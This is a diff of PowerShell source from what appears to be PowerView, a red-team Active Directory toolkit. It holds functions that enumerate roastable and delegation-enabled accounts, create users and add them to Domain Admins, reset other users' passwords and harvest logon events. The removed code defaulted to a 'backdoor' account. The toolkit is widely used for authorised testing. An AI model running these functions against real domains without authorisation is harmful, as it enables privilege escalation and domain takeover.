- $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential
+ BEGIN {
+ $SearcherArguments = @{}
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ $UserSearcher = Get-DomainSearcher @SearcherArguments
}
- process {
- if($UserSearcher) {
+ PROCESS {
+ if ($UserSearcher) {
+ $IdentityFilter = ''
+ $Filter = ''
+ $Identity | Where-Object {$_} | ForEach-Object {
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match '^S-1-') {
+ $IdentityFilter += "(objectsid=$IdentityInstance)"
+ }
+ elseif ($IdentityInstance -match '^CN=') {
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
+ $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
+ $IdentityFilter += "(objectguid=$GuidByteString)"
+ }
+ elseif ($IdentityInstance.Contains('\')) {
+ $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
+ if ($ConvertedIdentityInstance) {
+ $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
+ $UserName = $IdentityInstance.Split('\')[1]
+ $IdentityFilter += "(samAccountName=$UserName)"
+ $SearcherArguments['Domain'] = $UserDomain
+ Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
+ $UserSearcher = Get-DomainSearcher @SearcherArguments
+ }
+ }
+ else {
+ $IdentityFilter += "(samAccountName=$IdentityInstance)"
+ }
+ }
+
+ if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
+ $Filter += "(|$IdentityFilter)"
+ }
- # if we're checking for unconstrained delegation
- if($Unconstrained) {
- Write-Verbose "Checking for unconstrained delegation"
- $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
+ if ($PSBoundParameters['SPN']) {
+ Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
+ $Filter += '(servicePrincipalName=*)'
}
- if($AllowDelegation) {
- Write-Verbose "Checking for users who can be delegated"
+ if ($PSBoundParameters['AllowDelegation']) {
+ Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
# negation of "Accounts that are sensitive and not trusted for delegation"
- $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))"
+ $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
}
- if($AdminCount) {
- Write-Verbose "Checking for adminCount=1"
- $Filter += "(admincount=1)"
+ if ($PSBoundParameters['DisallowDelegation']) {
+ Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
+ $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
}
-
- # check if we're using a username filter or not
- if($UserName) {
- # samAccountType=805306368 indicates user objects
- $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)"
+ if ($PSBoundParameters['AdminCount']) {
+ Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
+ $Filter += '(admincount=1)'
}
- elseif($SPN) {
- $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)"
+ if ($PSBoundParameters['TrustedToAuth']) {
+ Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
+ $Filter += '(msds-allowedtodelegateto=*)'
}
- else {
- # filter is something like "(samAccountName=*blah*)" if specified
- $UserSearcher.filter="(&(samAccountType=805306368)$Filter)"
+ if ($PSBoundParameters['PreauthNotRequired']) {
+ Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
+ $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
}
+ if ($PSBoundParameters['LDAPFilter']) {
+ Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
+ $Filter += "$LDAPFilter"
+ }
+
+ $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
+ Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
- $Results = $UserSearcher.FindAll()
+ if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
+ else { $Results = $UserSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
- # convert/process the LDAP fields for each result
- $User = Convert-LDAPProperty -Properties $_.Properties
- $User.PSObject.TypeNames.Add('PowerView.User')
+ if ($PSBoundParameters['Raw']) {
+ # return raw result objects
+ $User = $_
+ $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
+ }
+ else {
+ $User = Convert-LDAPProperty -Properties $_.Properties
+ $User.PSObject.TypeNames.Insert(0, 'PowerView.User')
+ }
$User
}
- $Results.dispose()
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
+ }
+ }
$UserSearcher.dispose()
}
}
}
-function Add-NetUser {
+function New-DomainUser {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Creates a new domain user (assuming appropriate permissions) and returns the user object.
+
+TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-PrincipalContext
+
+.DESCRIPTION
- Adds a domain user or a local user to the current (or remote) machine,
- if permissions allow, utilizing the WinNT service provider and
- DirectoryServices.AccountManagement, respectively.
-
- The default behavior is to add a user to the local machine.
- An optional group name to add the user to can be specified.
+First binds to the specified domain context using Get-PrincipalContext.
+The bound domain context is then used to create a new
+DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.
- .PARAMETER UserName
+.PARAMETER SamAccountName
- The username to add. If not given, it defaults to 'backdoor'
+Specifies the Security Account Manager (SAM) account name of the user to create.
+Maximum of 256 characters. Mandatory.
- .PARAMETER Password
+.PARAMETER AccountPassword
- The password to set for the added user. If not given, it defaults to 'Password123!'
+Specifies the password for the created user. Mandatory.
- .PARAMETER GroupName
+.PARAMETER Name
- Group to optionally add the user to.
+Specifies the name of the user to create. If not provided, defaults to SamAccountName.
- .PARAMETER ComputerName
+.PARAMETER DisplayName
- Hostname to add the local user to, defaults to 'localhost'
+Specifies the display name of the user to create. If not provided, defaults to SamAccountName.
- .PARAMETER Domain
+.PARAMETER Description
- Specified domain to add the user to.
+Specifies the description of the user to create.
- .EXAMPLE
+.PARAMETER Domain
- PS C:\> Add-NetUser -UserName john -Password 'Password123!'
-
- Adds a localuser 'john' to the local machine with password of 'Password123!'
+Specifies the domain to use to search for user/group principals, defaults to the current domain.
- .EXAMPLE
+.PARAMETER Credential
- PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local
-
- Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain ''
-
- Adds the user "john" with password "password" to the current domain and adds
- the user to the domain group "Domain Admins"
+$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword
- .EXAMPLE
+Creates the 'harmj0y2' user with the specified description and password.
- PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing'
-
- Adds the user "john" with password "password" to the 'testing' domain and adds
- the user to the domain group "Domain Admins"
+.EXAMPLE
- .Link
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred
- http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx
+Creates the 'harmj0y2' user with the specified description and password, using the specified
+alternate credentials.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
+
+Creates the 'andy' user with the specified description and password, using the specified
+alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
+and the alternate credentials.
+
+.OUTPUTS
+
+DirectoryServices.AccountManagement.UserPrincipal
+
+.LINK
+
+http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
- [CmdletBinding()]
- Param (
- [ValidateNotNullOrEmpty()]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
+ Param(
+ [Parameter(Mandatory = $True)]
+ [ValidateLength(0, 256)]
[String]
- $UserName = 'backdoor',
+ $SamAccountName,
+ [Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
- [String]
- $Password = 'Password123!',
+ [Alias('Password')]
+ [Security.SecureString]
+ $AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
- $GroupName,
+ $Name,
[ValidateNotNullOrEmpty()]
- [Alias('HostName')]
[String]
- $ComputerName = 'localhost',
+ $DisplayName,
[ValidateNotNullOrEmpty()]
[String]
- $Domain
- )
+ $Description,
- if ($Domain) {
-
- $DomainObject = Get-NetDomain -Domain $Domain
- if(-not $DomainObject) {
- Write-Warning "Error in grabbing $Domain object"
- return $Null
- }
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Domain,
- # add the assembly we need
- Add-Type -AssemblyName System.DirectoryServices.AccountManagement
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
- # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
- # get the domain context
- $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject
+ $ContextArguments = @{
+ 'Identity' = $SamAccountName
+ }
+ if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
+ $Context = Get-PrincipalContext @ContextArguments
- # create the user object
- $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context
+ if ($Context) {
+ $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context)
- # set user properties
- $User.Name = $UserName
- $User.SamAccountName = $UserName
- $User.PasswordNotRequired = $False
- $User.SetPassword($Password)
+ # set all the appropriate user parameters
+ $User.SamAccountName = $Context.Identity
+ $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
+ $User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
+ $User.PasswordNotRequired = $False
- Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain"
-
- try {
- # commit the user
- $User.Save()
- "[*] User $UserName successfully created in domain $Domain"
+ if ($PSBoundParameters['Name']) {
+ $User.Name = $Name
}
- catch {
- Write-Warning '[!] User already exists!'
- return
+ else {
+ $User.Name = $Context.Identity
+ }
+ if ($PSBoundParameters['DisplayName']) {
+ $User.DisplayName = $DisplayName
+ }
+ else {
+ $User.DisplayName = $Context.Identity
}
- }
- else {
-
- Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName"
- # if it's not a domain add, it's a local machine add
- $ObjOu = [ADSI]"WinNT://$ComputerName"
- $ObjUser = $ObjOu.Create('User', $UserName)
- $ObjUser.SetPassword($Password)
+ if ($PSBoundParameters['Description']) {
+ $User.Description = $Description
+ }
- # commit the changes to the local machine
+ Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'"
try {
- $Null = $ObjUser.SetInfo()
- "[*] User $UserName successfully created on host $ComputerName"
+ $Null = $User.Save()
+ Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created"
+ $User
}
catch {
- Write-Warning '[!] Account already exists!'
- return
- }
- }
-
- # if a group is specified, invoke Add-NetGroupUser and return its value
- if ($GroupName) {
- # if we're adding the user to a domain
- if ($Domain) {
- Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain
- "[*] User $UserName successfully added to group $GroupName in domain $Domain"
- }
- # otherwise, we're adding to a local group
- else {
- Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName
- "[*] User $UserName successfully added to group $GroupName on host $ComputerName"
+ Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_"
}
}
}
-function Add-NetGroupUser {
+function Set-DomainUserPassword {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Sets the password for a given user identity.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-PrincipalContext
+
+.DESCRIPTION
+
+First binds to the specified domain context using Get-PrincipalContext.
+The bound domain context is then used to search for the specified user -Identity,
+which returns a DirectoryServices.AccountManagement.UserPrincipal object. The
+SetPassword() function is then invoked on the user, setting the password to -AccountPassword.
+
+.PARAMETER Identity
+
+A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
+specifying the user to reset the password for.
+
+.PARAMETER AccountPassword
+
+Specifies the password to reset the target user's to. Mandatory.
+
+.PARAMETER Domain
- Adds a user to a domain group or a local group on the current (or remote) machine,
- if permissions allow, utilizing the WinNT service provider and
- DirectoryServices.AccountManagement, respectively.
+Specifies the domain to use to search for the user identity, defaults to the current domain.
- .PARAMETER UserName
+.PARAMETER Credential
- The domain username to query for.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .PARAMETER GroupName
+.EXAMPLE
- Group to add the user to.
+$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
- .PARAMETER ComputerName
+Resets the password for 'andy' to the password specified.
- Hostname to add the user to, defaults to localhost.
+.EXAMPLE
- .PARAMETER Domain
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred
- Domain to add the user to.
+Resets the password for 'andy' usering the alternate credentials specified.
- .EXAMPLE
+.OUTPUTS
- PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators
-
- Adds a localuser "john" to the local group "Administrators"
+DirectoryServices.AccountManagement.UserPrincipal
- .EXAMPLE
+.LINK
- PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local
-
- Adds the existing user "john" to the domain group "Domain Admins" in "dev.local"
+http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
- [CmdletBinding()]
- param(
- [Parameter(Mandatory = $True)]
- [ValidateNotNullOrEmpty()]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
+ Param(
+ [Parameter(Position = 0, Mandatory = $True)]
+ [Alias('UserName', 'UserIdentity', 'User')]
[String]
- $UserName,
+ $Identity,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
- [String]
- $GroupName,
+ [Alias('Password')]
+ [Security.SecureString]
+ $AccountPassword,
[ValidateNotNullOrEmpty()]
- [Alias('HostName')]
[String]
- $ComputerName,
+ $Domain,
- [String]
- $Domain
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- # add the assembly if we need it
- Add-Type -AssemblyName System.DirectoryServices.AccountManagement
+ $ContextArguments = @{ 'Identity' = $Identity }
+ if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
+ $Context = Get-PrincipalContext @ContextArguments
- # if we're adding to a remote host's local group, use the WinNT provider
- if($ComputerName -and ($ComputerName -ne "localhost")) {
- try {
- Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName"
- ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user")
- "[*] User $UserName successfully added to group $GroupName on $ComputerName"
- }
- catch {
- Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName"
- return
- }
- }
+ if ($Context) {
+ $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity)
- # otherwise it's a local machine or domain add
- else {
- try {
- if ($Domain) {
- Write-Verbose "Adding user $UserName to $GroupName on domain $Domain"
- $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain
- $DomainObject = Get-NetDomain -Domain $Domain
- if(-not $DomainObject) {
- return $Null
- }
- # get the full principal context
- $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject
+ if ($User) {
+ Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'"
+ try {
+ $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
+ $User.SetPassword($TempCred.GetNetworkCredential().Password)
+
+ $Null = $User.Save()
+ Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset"
}
- else {
- # otherwise, get the local machine context
- Write-Verbose "Adding user $UserName to $GroupName on localhost"
- $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName)
+ catch {
+ Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_"
}
-
- # find the particular group
- $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName)
-
- # add the particular user to the group
- $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName)
-
- # commit the changes
- $Group.Save()
}
- catch {
- Write-Warning "Error adding $UserName to $GroupName : $_"
+ else {
+ Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'"
}
}
}
-function Get-UserProperty {
+function Get-DomainUserEvent {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Enumerate account logon events (ID 4624) and Logon with explicit credential
+events (ID 4648) from the specified host (default of the localhost).
+
+Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: None
+
+.DESCRIPTION
- Returns a list of all user object properties. If a property
- name is specified, it returns all [user:property] values.
+This function uses an XML path filter passed to Get-WinEvent to retrieve
+security events with IDs of 4624 (logon events) or 4648 (explicit credential
+logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).
+A maximum of -MaxEvents (default of 5000) are returned.
- Taken directly from @obscuresec's post:
- http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
+.PARAMETER ComputerName
- .PARAMETER Properties
+Specifies the computer name to retrieve events from, default of localhost.
- Property names to extract for users.
+.PARAMETER StartTime
- .PARAMETER Domain
+The [DateTime] object representing the start of when to collect events.
+Default of [DateTime]::Now.AddDays(-1).
- The domain to query for user properties, defaults to the current domain.
+.PARAMETER EndTime
- .PARAMETER DomainController
+The [DateTime] object representing the end of when to collect events.
+Default of [DateTime]::Now.
- Domain controller to reflect LDAP queries through.
+.PARAMETER MaxEvents
- .PARAMETER PageSize
+The maximum number of events to retrieve. Default of 5000.
- The PageSize to set for the LDAP searcher object.
+.PARAMETER Credential
- .PARAMETER Credential
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target computer.
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+.EXAMPLE
- .EXAMPLE
+Get-DomainUserEvent
- PS C:\> Get-UserProperty -Domain testing
-
- Returns all user properties for users in the 'testing' domain.
+Return logon events on the local machine.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-UserProperty -Properties ssn,lastlogon,location
-
- Returns all an array of user/ssn/lastlogin/location combinations
- for users in the current domain.
+Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))
- .LINK
+Return all logon events from the last 3 days from every domain controller in the current domain.
- http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000
+
+Return a max of 1000 logon events from the specified machine using the specified alternate credentials.
+
+.OUTPUTS
+
+PowerView.LogonEvent
+
+PowerView.ExplicitCredentialLogonEvent
+
+.LINK
+
+http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.LogonEvent')]
+ [OutputType('PowerView.ExplicitCredentialLogonEvent')]
[CmdletBinding()]
- param(
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('dnshostname', 'HostName', 'name')]
+ [ValidateNotNullOrEmpty()]
[String[]]
- $Properties,
+ $ComputerName = $Env:COMPUTERNAME,
- [String]
- $Domain,
-
- [String]
- $DomainController,
+ [ValidateNotNullOrEmpty()]
+ [DateTime]
+ $StartTime = [DateTime]::Now.AddDays(-1),
+
+ [ValidateNotNullOrEmpty()]
+ [DateTime]
+ $EndTime = [DateTime]::Now,
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 1000000)]
[Int]
- $PageSize = 200,
+ $MaxEvents = 5000,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- if($Properties) {
- # extract out the set of all properties for each object
- $Properties = ,"name" + $Properties
- Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties
+ BEGIN {
+ # the XML filter we're passing to Get-WinEvent
+ $XPathFilter = @"
+<QueryList>
+ <Query Id="0" Path="Security">
+
+ <!-- Logon events -->
+ <Select Path="Security">
+ *[
+ System[
+ Provider[
+ @Name='Microsoft-Windows-Security-Auditing'
+ ]
+ and (Level=4 or Level=0) and (EventID=4624)
+ and TimeCreated[
+ @SystemTime&gt;='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime&lt;='$($EndTime.ToUniversalTime().ToString('s'))'
+ ]
+ ]
+ ]
+ and
+ *[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]
+ </Select>
+
+ <!-- Logon with explicit credential events -->
+ <Select Path="Security">
+ *[
+ System[
+ Provider[
+ @Name='Microsoft-Windows-Security-Auditing'
+ ]
+ and (Level=4 or Level=0) and (EventID=4648)
+ and TimeCreated[
+ @SystemTime&gt;='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime&lt;='$($EndTime.ToUniversalTime().ToString('s'))'
+ ]
+ ]
+ ]
+ </Select>
+
+ <Suppress Path="Security">
+ *[
+ System[
+ Provider[
+ @Name='Microsoft-Windows-Security-Auditing'
+ ]
+ and
+ (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634)
+ ]
+ ]
+ and
+ *[
+ EventData[
+ (
+ (Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0')
+ or
+ Data[@Name='TargetUserName']='ANONYMOUS LOGON'
+ or
+ Data[@Name='TargetUserSID']='S-1-5-18'
+ )
+ ]
+ ]
+ </Suppress>
+ </Query>
+</QueryList>
+"@
+ $EventArguments = @{
+ 'FilterXPath' = $XPathFilter
+ 'LogName' = 'Security'
+ 'MaxEvents' = $MaxEvents
+ }
+ if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential }
}
- else {
- # extract out just the property names
- Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name'
+
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+
+ $EventArguments['ComputerName'] = $Computer
+
+ Get-WinEvent @EventArguments| ForEach-Object {
+ $Event = $_
+ $Properties = $Event.Properties
+ Switch ($Event.Id) {
+ # logon event
+ 4624 {
+ # skip computer logons, for now...
+ if(-not $Properties[5].Value.EndsWith('$')) {
+ $Output = New-Object PSObject -Property @{
+ ComputerName = $Computer
+ TimeCreated = $Event.TimeCreated
+ EventId = $Event.Id
+ SubjectUserSid = $Properties[0].Value.ToString()
+ SubjectUserName = $Properties[1].Value
+ SubjectDomainName = $Properties[2].Value
+ SubjectLogonId = $Properties[3].Value
+ TargetUserSid = $Properties[4].Value.ToString()
+ TargetUserName = $Properties[5].Value
+ TargetDomainName = $Properties[6].Value
+ TargetLogonId = $Properties[7].Value
+ LogonType = $Properties[8].Value
+ LogonProcessName = $Properties[9].Value
+ AuthenticationPackageName = $Properties[10].Value
+ WorkstationName = $Properties[11].Value
+ LogonGuid = $Properties[12].Value
+ TransmittedServices = $Properties[13].Value
+ LmPackageName = $Properties[14].Value
+ KeyLength = $Properties[15].Value
+ ProcessId = $Properties[16].Value
+ ProcessName = $Properties[17].Value
+ IpAddress = $Properties[18].Value
+ IpPort = $Properties[19].Value
+ ImpersonationLevel = $Properties[20].Value
+ RestrictedAdminMode = $Properties[21].Value
+ TargetOutboundUserName = $Properties[22].Value
+ TargetOutboundDomainName = $Properties[23].Value
+ VirtualAccount = $Properties[24].Value
+ TargetLinkedLogonId = $Properties[25].Value
+ ElevatedToken = $Properties[26].Value
+ }
+ $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent')
+ $Output
+ }
+ }
+
+ # logon with explicit credential
+ 4648 {
+ # skip computer logons, for now...
+ if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) {
+ $Output = New-Object PSObject -Property @{
+ ComputerName = $Computer
+ TimeCreated = $Event.TimeCreated
+ EventId = $Event.Id
+ SubjectUserSid = $Properties[0].Value.ToString()
+ SubjectUserName = $Properties[1].Value
+ SubjectDomainName = $Properties[2].Value
+ SubjectLogonId = $Properties[3].Value
+ LogonGuid = $Properties[4].Value.ToString()
+ TargetUserName = $Properties[5].Value
+ TargetDomainName = $Properties[6].Value
+ TargetLogonGuid = $Properties[7].Value
+ TargetServerName = $Properties[8].Value
+ TargetInfo = $Properties[9].Value
+ ProcessId = $Properties[10].Value
+ ProcessName = $Properties[11].Value
+ IpAddress = $Properties[12].Value
+ IpPort = $Properties[13].Value
+ }
+ $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent')
+ $Output
+ }
+ }
+ default {
+ Write-Warning "No handler exists for event ID: $($Event.Id)"
+ }
+ }
+ }
+ }
}
}
-filter Find-UserField {
+function Get-DomainGUIDMap {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain.
- Searches user object fields for a given word (default *pass*). Default
- field being searched is 'description'.
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher, Get-Forest
- Taken directly from @obscuresec's post:
- http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
+.DESCRIPTION
- .PARAMETER SearchTerm
+Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for
+all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names.
+Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local)
+for objects where objectClass=controlAccessRight, translating the GUIDs again.
- Term to search for, default of "pass".
+Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
- .PARAMETER SearchField
+.PARAMETER Domain
- User field to search, default of "description".
